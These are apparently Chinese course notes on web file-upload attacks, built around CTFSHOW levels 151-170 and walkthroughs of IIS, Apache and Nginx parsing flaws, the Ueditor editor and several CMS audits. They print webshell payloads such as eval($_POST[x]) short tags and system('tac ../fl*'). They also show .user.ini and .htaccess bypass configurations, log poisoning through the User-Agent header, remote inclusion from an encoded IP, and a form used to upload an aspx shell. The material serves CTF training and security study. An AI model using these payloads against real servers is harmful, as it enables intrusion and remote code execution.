第31天 WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性
知识点:
1、文件上传-前端验证
2、文件上传-黑白名单
3、文件上传user.in妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竟争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
演示案例:
CTFSHOW文件上传-151到161关卡
151关 前端过滤–直接修改前端允许上传的类型绕过
152关 前后端同时过滤–修改前端代码允许php文件上传–burp抓包修改content-type为image/png绕过
153关 前后端过滤同时严格过滤参数–上传.user.ini配置文件并将内容写为auto_prepend_file=test.txt–上传写有webshell的文件(可以为text也可以为png)–访问index.php即可反弹shell
补充知识:
- 配置文件 :php.ini
- 配置文件(php.ini)在 PHP 启动时被读取。对于服务器模块版本的 PHP,仅在 web 服务器启动时读取一次。对于 CGI 和
CLI 版本,每次调用都会读取。(PHP: 配置文件 - Manual)
实际上,除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。这里就很清楚了,.user.ini实际上就是一个可以由用户”自定义“的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR
、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file ; 指定一个文件,自动包含在要执行的文件前。
auto_prepend_file ;指定一个文件,自动包含在要执行的文件后。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.txt
或者
auto_append_file=test.txt
154155关-JS验证+User.ini+短标签
<?echo '123' ?> //前提是开启配置参数short open tags=on <=(表达式)?>//不需要开启参数设置 <%echo ‘123’;%> / /前提是开启配置参数asp tags=on
//不需要修改参数开关 user.ini:auto_prepend_file=test.png test.png:<?=eval($_POST[x]);?> 思路:先尝试图片文件(发现验证不通过)--修改前端代码(存在后端验证)--burp修改文件类型--仍提示文件类型错误(尝试上传user.ini文件)--对png文件中的代码进行过滤(会检查文件中<? php ?>)中的php字段--使用不含php字段的代码(比如 :<?=eval($_POST[x]);?>)
156关 JS验证+user.ini+短标签+过滤
过滤 []
user.ini:auto_prepend_file=test.png
test png:<?=eval($_POST{x}),?>
157-158-159JS验证+user ini+短标签+过滤
user.ini: auto_prepend_file=test.png
test.png:<?=system('tac../fl*')?>
test.png:<?='tac../fl*')?> //使用反引号运算符的效果与函数shell exec(相同 )
test.png:<echo 'tac /var/www/htmlf*?>
160-JS验证+User.ini-短标签+过德
再过滤严格的情况下,可以采用通过burp将后门代码写入UA头中,然后写入.user.ini配置文件,将日志文件通过文件包含访问,那么在访问png文件时就是访问日志文件,就会显示后门代码从而达到调用的目的
包含默认日志,日志记录UA头,UA头写后门代码
user.ini:auto_prepend_file-test.png
test.png:<?=include"/var/lo"."g/nginx/a***ess.lo"."g"?>
161-JS验证+User.ni+短标签+过滤+文件头
文件头部检测是否为图片格式文件
user ini:GIF89A auto_prepend_file=test.png
test.png:GIF89A <?=include"/var/lo"."g/nginx/a***ess.lo"."g"?>
第32天 WEB攻防-通用漏洞&文件上传&二次洹染8&hta***ess&变异免杀
知识点:
1、文件上传-二次渣染
2、文件上传-简单免杀变异
3、文件上传-.hta***ess妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渣染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
#前置:
后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)
如:jpg图片里面有php后门代码,不能被触发,所以连接不上后门
二次渲染判断:
1、上传前后文件大小不同
2、上传后图片返回内容包含明显的二次渲染标志
演示案例:
CTFSHOW-文件上传-162到170关卡
162 突破过滤
过滤 . () {} 等
利用远程包含IP转换地址后门调用执行
.user.ini auto_prepend_file=png
png <?=include’http://794750069/>
https://www.bejson.***/convert/ip2int/
163 突破上传刷除
过滤 . () {}等同时文件被删测除
直接利用user.ini包含远程
auto_prepend_file=http://794750069/
auto_prepend_file=http://794750069/
164 png二次渲染
https //blog.csdn.***/qq 40800734/article/details/105920149
get0=system post 1=tac flag.php
将后门代码写入图片(前提,读取文件是通过php解析,导致后门代码可执行)
165 jpg二次渲染
1、先上传jpg正常,返回包发现渲染
2、上传jpg渲染后保存,生成带代码图片
调用执行:php jpg .php 1.jpg
166 zip调用包含
直接上传zip后修改代码
167 .hta***ess妙用
.hta***ess默认不支持nginx,设置后支持
.hta***ess可以通过设置实现文件解析配置
将png后缀的文件解析成php
AddType application/x-httpd-php png
将png后缀的文件解析成php
168 免杀后门(构造变量绕过函数过滤)
169 170 日志包含
构造.user.in利用条件:上传index.php内容随意
上传.user.ini包含日志:auto_prepend_fle=var/log/nginx/a***ess.log
访问地址带后门UA头写入日志:<?=eval($POST[X):?>
上传.user.ini是利用文件包含 上传.hta***ess是利用文件解析漏洞
第33天 WEB攻防-通用漏洞&文件上传&中间件解析漏洞8似编器安全
知识点:
1、文件上传-二次渣染
2、文件上传-简单免杀变异
3、文件上传-.hta***ess妙用
4、文件上传-PHP语言特性
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渣染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
演示案例:
中间件文件解析-lIS&Apache&Nginx
Web应用编辑器-Ueditor文件上传安全
实例CMS&平台-中间件解析&编辑器引用
#中间件文件解析-llS&Apache&Nginx
IIS 6 7文件名目录名
1、文件名:X.asp;.x.jpg
2、目录名:x.asp/x.jpg
3、S7.X与Nginx解析漏洞一致
(该漏洞实现的条件:1中间件类型为IIS且版本对应 2、上传文件能不能修改目录或上传的文件名能增加命名)
(漏洞防护:严格命名规则:基于本地名命名、基于时间命名、基于随机字符命名 上传的文件名固定且目录无法创建则漏洞无法实现)
#Apache换行解析配置不当
1、换行解析-CVE-2017-15715
其2.4.0~2.4.29版本中存在一个解析漏洞
2、配置不当-.hta***ess配置不当
AddHandier application/x-httpd-php .php
#Nginx 文件名逻辑解析漏洞
1,文件名逻辑-CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
注意此处文件名后要加空格
2.解析漏洞-nginx.conf配置不当
由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
#Web应用编辑器-Ueditor文件上传安全
<form action="http://192.168.46.139/***/controller.ashx?action=catchimage"
enctype="multipart/form-data"method="POST">
<p>shell addr.<input type="text"name="source【】"/></p>
<input type="submit"value="Submit"/>
</form>
思路:制作图片马–将图片马上传到vps–上述代码保存为html文件,将访问地址修改为编译器地址—访问html文件将图片马地址填入(构造好的http://xxxx/ueditor.jpg?.aspx)–点击submit,直接上传成功,并返回我们的aspx脚本木马路径地址–shell连接
参考文章:https://codeleading.***/article/27805571408/#google_vig***te
#实例CMS&平台-中间件解析&编辑器引用
1、中间件配置不当导致文件被恶意解析
2、CMS源码引用外部编辑器实现文件上传
第34天 WEB攻防-通用漏同8&文件上传8黑白盒审计8逻捐&中间件&外部引用
知识点:
1、白盒审计三要素
2、黑盒审计四要素
3、白黑测试流程思路
#详细点:
1、检测层面:前端,后端等
2、检测内容:文件头,完整性,二次渲染等
3、检测后缀:黑名单,白名单,MIME检测等
4、绕过技巧:多后缀解析,截断,中间件特性,条件竟争等
#本章课程内容:
1、文件上传-CTF赛题知识点
2、文件上传-中间件解析&编辑器安全
3、文件上传-实例CMS文件上传安全分析
演示案例
白盒审计-Finecms-代码常规-处理逻辑
白盒审计-CuppaCms-中间件.hta***ess
白盒审计-Metinfo–编辑器引用-第三方安全
#白盒审计-Finecms-代码常规-处理逻辑
黑盒思路:寻找上传点抓包修改突破获取状态码及地址
审计流程:功能点代码文件代码块抓包调试验证测试
#白盒审计-CuppaCms-中间件-.hta***ess
总结:漏洞产生位置在用户中心上传头像处,因为未对文件内容进行过滤导致可以上传含有后门代码的文件,但是文件上传后会对文件进行重新命名,黑盒测试中会因为不知道上传文件路径文件名导致无法连接shell,白盒测试中则可以看到文件被命名为0x00.php
黑盒思路:存在文件管理上传改名奕破,访问后在突破
审计流程:功能点代码文件-代码块抓包调试验证测试
总结:上传点在后台文件管理–修改名称处–上传出会对文件进行严格过滤且会对文件进行重命名导致上传.user.in和.hta***ess上传失败(白名单),在文件管理处可以对文件进行重命名,此处抓包可以抓到重命名的数据包,修改重命名后的文件名可以将png文件修改成php文件,访问发现403,是由于.hta***ess配置文件导致media文件夹下php exe php5 等后缀名无法访问,在重命名处改包.// 将文件上传到上一级目录绕过,文件访问正常。第二种绕过思路:直接把.hta***ess文件删除。
#白盒审计-Metinfo-编辑器引用-第三方安全
黑盒思路:探针目录利用编辑器漏洞验证测试
审计流程:目录结构-引用编辑器编辑器安全查询-EXP利用验证
总结:目录扫描–扫描出fackeditor目录–判断版本–使用exp上传webshell
#文件上传:
黑盒:寻找一切存在文件上传的功彰应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是佛存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址
白盒:看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键字